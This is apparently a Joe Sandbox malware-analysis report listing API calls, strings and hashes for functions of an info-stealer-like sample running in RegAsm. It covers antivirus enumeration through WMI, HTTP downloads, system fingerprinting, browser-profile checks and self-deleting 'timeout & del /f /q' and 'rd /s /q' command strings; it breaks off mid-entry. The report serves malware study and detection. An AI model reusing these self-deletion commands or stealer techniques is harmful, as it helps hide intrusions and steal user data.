Opcode ID: 284a9a5a16217165c12f64316c8c04067302d27e890dfe132851e2c48006330e
Instruction ID: d54bf860e683a9d9ea948fbb2970d109c33e5cb74c0c5bfb99d811caa709b828
Opcode Fuzzy Hash: 284a9a5a16217165c12f64316c8c04067302d27e890dfe132851e2c48006330e
Instruction Fuzzy Hash: D59254315483419FC620FF26D94268EB3E1FF84308F51482FF59467191DBB8AA8D8B9B

Function 004135A8 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004135EA
StrCmpCA.SHLWAPI(?,true), ref: 004136AC

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

lstrcpyA.KERNEL32(?,?), ref: 0041376E
lstrcpyA.KERNEL32(?,00000000), ref: 0041379F
lstrcpyA.KERNEL32(?,00000000), ref: 004137DB
lstrcpyA.KERNEL32(?,00000000), ref: 00413817
lstrcpyA.KERNEL32(?,00000000), ref: 00413853
lstrcpyA.KERNEL32(?,00000000), ref: 0041388F
lstrcpyA.KERNEL32(?,00000000), ref: 004138CB
strtok_s.MSVCRT ref: 0041398F

Strings

false, xrefs: 004136C5
true, xrefs: 004136A6

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true
API String ID: 2116072422-2658103896
Opcode ID: 3ad845a5a554c50af850ac95adc5b1dd201381468a8343a8b3994508f74e39c6
Instruction ID: 81ccba1995f702cef7acb199cdd9bdb5c6872cd46d2fc8e3360dcc49f51edd81
Opcode Fuzzy Hash: 3ad845a5a554c50af850ac95adc5b1dd201381468a8343a8b3994508f74e39c6
Instruction Fuzzy Hash: 4DB16EB5900218ABCF64EF55DC89ACA7775BF18305F0001EAE549A7261EB75AFC4CF48

Function 00405237 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 161networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
RtlAllocateHeap.NTDLL(00000000), ref: 00405285
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
StrCmpCA.SHLWAPI(?), ref: 004052C1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetReadFile.WININET(?,?,00000400,?), ref: 004053DA
InternetCloseHandle.WININET(?), ref: 00405439
InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

GET, xrefs: 00405325

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET
API String ID: 442264750-1805413626
Opcode ID: e43b214240d90e61fa7a2d759c911b157a9eae585ecf10f6a860d9daebaee8e0
Instruction ID: a32ed7c537753017332b5fefae4aca360a8d4b0897a3b7a3abd4cad40ca03d43
Opcode Fuzzy Hash: e43b214240d90e61fa7a2d759c911b157a9eae585ecf10f6a860d9daebaee8e0
Instruction Fuzzy Hash: EA5118B1900A28AFDF219F64DC84BEBBBB9EB08346F0050E6A509A2290D6755F858F54

Function 00411997 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041199E
CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00411D42: LocalAlloc.KERNEL32(00000040,00000005,?,?,00411A80,?), ref: 00411D4A
Part of subcall function 00411D42: CharToOemW.USER32(?,00000000), ref: 00411D56

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

VariantClear.OLEAUT32(?), ref: 00411A8B

Strings

root\SecurityCenter2, xrefs: 004119F0
Unknown, xrefs: 00411A99
Unknown, xrefs: 00411AB4
Unknown, xrefs: 00411AA0
Select * From AntiVirusProduct, xrefs: 00411A23
WQL, xrefs: 00411A28
displayName, xrefs: 00411A6F

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: fdd4f7f867a511bab038fd48f2efc8a237d63492f44167babbe96817ce442a94
Instruction ID: a6e9aa9d7fa8367f7b23d862a237faa2d960bfd31173c526db01d8a47229c81c
Opcode Fuzzy Hash: fdd4f7f867a511bab038fd48f2efc8a237d63492f44167babbe96817ce442a94
Instruction Fuzzy Hash: 5E314F70A04245BBCB20DBD1DC49EEFBF7CEFC9B10F20465AF611A61A0C6B85941CB68

Function 00401284 Relevance: 24.1, APIs: 16, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004012A7
_memset.LIBCMT ref: 004012B6
lstrcatA.KERNEL32(?,0043AA98), ref: 004012D0
lstrcatA.KERNEL32(?,0043AA9C), ref: 004012DE
lstrcatA.KERNEL32(?,0043AAA0), ref: 004012EC
lstrcatA.KERNEL32(?,0043AAA4), ref: 004012FA
lstrcatA.KERNEL32(?,0043AAA8), ref: 00401308
lstrcatA.KERNEL32(?,0043AAAC), ref: 00401316
lstrcatA.KERNEL32(?,0043AAB0), ref: 00401324
lstrcatA.KERNEL32(?,0043AAB4), ref: 00401332
lstrcatA.KERNEL32(?,0043AAB8), ref: 00401340
lstrcatA.KERNEL32(?,0043AABC), ref: 0040134E
lstrcatA.KERNEL32(?,0043AAC0), ref: 0040135C
lstrcatA.KERNEL32(?,0043AAC4), ref: 0040136A
lstrcatA.KERNEL32(?,0043AAC8), ref: 00401378

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

ExitProcess.KERNEL32 ref: 004013E3

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocateComputerExitName
String ID:
API String ID: 2891980384-0
Opcode ID: 075dceee351f8c7fd68273280057ff0b7848ef721524a1fcee1913029c64dffb
Instruction ID: 329f1fd96fdfcb16c2f410f14406277e677f3780dfb4b417305efb7e4a91778f
Opcode Fuzzy Hash: 075dceee351f8c7fd68273280057ff0b7848ef721524a1fcee1913029c64dffb
Instruction Fuzzy Hash: D14198B2D4422C56DB20EBB19C59FDB7BAC9F18310F5405A3E8D8E3181D6BC9A84CB58

Function 004183BB Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004183E0
_memset.LIBCMT ref: 004183EF
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 00418404

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

ShellExecuteEx.SHELL32(?), ref: 004185A0
_memset.LIBCMT ref: 004185AF
_memset.LIBCMT ref: 004185C1
ExitProcess.KERNEL32 ref: 004185D1

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

/c timeout /t 10 & del /f /q ", xrefs: 0041842F
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 004184DA
" & exit, xrefs: 00418524
" & rd /s /q "C:\ProgramData\, xrefs: 0041847D
" & exit, xrefs: 004184D3

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memsetlstrcpy$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\
API String ID: 2823247455-1079830800
Opcode ID: 4de5a22190913a124abe78f719765faa1ab2a10443f5725ec9e20d00ce2b7339
Instruction ID: 17f46319f1d81ae95485b78933ee8bbb99b04375982c61dc01e5f9a2b2c8caaf
Opcode Fuzzy Hash: 4de5a22190913a124abe78f719765faa1ab2a10443f5725ec9e20d00ce2b7339
Instruction Fuzzy Hash: 7E51ACB1E4022A9BCB21EF15DD41ADDB3BDAB44708F4110EAA718B3151DA746FC68E58

Function 004109A2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71
wsprintfA.USER32 ref: 00410AA7
lstrcatA.KERNEL32(00000000,00436E3C), ref: 00410AB6

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

lstrlenA.KERNEL32(?), ref: 00410ACD

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(00000000,00000000), ref: 00410AF0

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Strings

C, xrefs: 004109DF
:\, xrefs: 00410A06
jxA, xrefs: 00410B21
QuBi, xrefs: 00410A27

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: :\$C$QuBi$jxA
API String ID: 1856320939-3937734583
Opcode ID: 13e1d33eac386514867e4e3ec7983ded626eb068a244131e6e220238ada2be5a
Instruction ID: 0e3267de1265d81d1a62226ef28a80151d36d88a62da14f425e30a61553cab10
Opcode Fuzzy Hash: 13e1d33eac386514867e4e3ec7983ded626eb068a244131e6e220238ada2be5a
Instruction Fuzzy Hash: 5041AFB1A0422C9BCB249F749D85ADEBABDEF19304F0000EAF109E3121E6758FD58F54

Function 00411203 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
wsprintfA.USER32 ref: 004112DD
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC

Strings

- , xrefs: 004113E6
?, xrefs: 00411263
%s\%s, xrefs: 004112D7

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 1736561257-3278919252
Opcode ID: dad845fa4b7f0cfd4eba4eb3ec9f24b5b39aaca9e77695f308e1d4d554ea3392
Instruction ID: 71e93d291eb08405029e4405a094c382c8089f583a4298610e2cb025ce7c2c33
Opcode Fuzzy Hash: dad845fa4b7f0cfd4eba4eb3ec9f24b5b39aaca9e77695f308e1d4d554ea3392
Instruction Fuzzy Hash: 5F61F7B590022C9BEF21DB15DD84EDAB7B9AB44708F1042E6A608A2121DF75AFC9CF54

Function 004067ED Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406836
StrCmpCA.SHLWAPI(?), ref: 00406856
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00406877
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406892
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004068C8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004068F8
CloseHandle.KERNEL32(?), ref: 00406923
InternetCloseHandle.WININET(00000000), ref: 0040692A
InternetCloseHandle.WININET(?), ref: 00406936

Strings

<+A, xrefs: 00406954

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: <+A
API String ID: 2507841554-2778417545
Opcode ID: 824697d43fc9c4de6721c86eaeb70766f83c186dda25a64763761ef8fe39dbb8
Instruction ID: 3012875da3fdfb9272a235e373719c06f2bb6316beb2d8f09f7bd5886403af84
Opcode Fuzzy Hash: 824697d43fc9c4de6721c86eaeb70766f83c186dda25a64763761ef8fe39dbb8
Instruction Fuzzy Hash: ED411CB1900128ABDF20DB21DD49BDA7BB9EB04315F1040B6BB09B21A1D6759E958FA8

Function 004168C6 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 79stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
lstrlenA.KERNEL32(?), ref: 00416925

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,?), ref: 0041693A
lstrlenA.KERNEL32(?), ref: 00416949
lstrlenA.KERNEL32(00000000), ref: 00416962

Strings

ERROR, xrefs: 00416977
ERROR, xrefs: 00416985
ERROR, xrefs: 00416914
ERROR, xrefs: 0041697E
ERROR, xrefs: 0041696D

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$OpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 4174444224-1526165396
Opcode ID: 65b79203c441785fddf8f84852748e2128e1848264bf142e98f1946a5684973a
Instruction ID: f999f3c62c0b23b7ff363c4994354db6f8ba44fc0c3398813b2d55053c878ef3
Opcode Fuzzy Hash: 65b79203c441785fddf8f84852748e2128e1848264bf142e98f1946a5684973a
Instruction Fuzzy Hash: 6021E571910204ABCB10BB75DC469DD77B8AF04308F11512BFC05E3191DB7DD9858F99

Function 0040EABC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(0094C481), ref: 0040EAF9
StrCmpCA.SHLWAPI(0094C481), ref: 0040EB56
StrCmpCA.SHLWAPI(0094C481,firefox), ref: 0040EE1D
StrCmpCA.SHLWAPI(0094C481), ref: 0040EC33

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

StrCmpCA.SHLWAPI(0094C481), ref: 0040ECE3
StrCmpCA.SHLWAPI(0094C481), ref: 0040ED40

Strings

Stable\, xrefs: 0040EB71
Stable\, xrefs: 0040ED5B
firefox, xrefs: 0040EE17

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
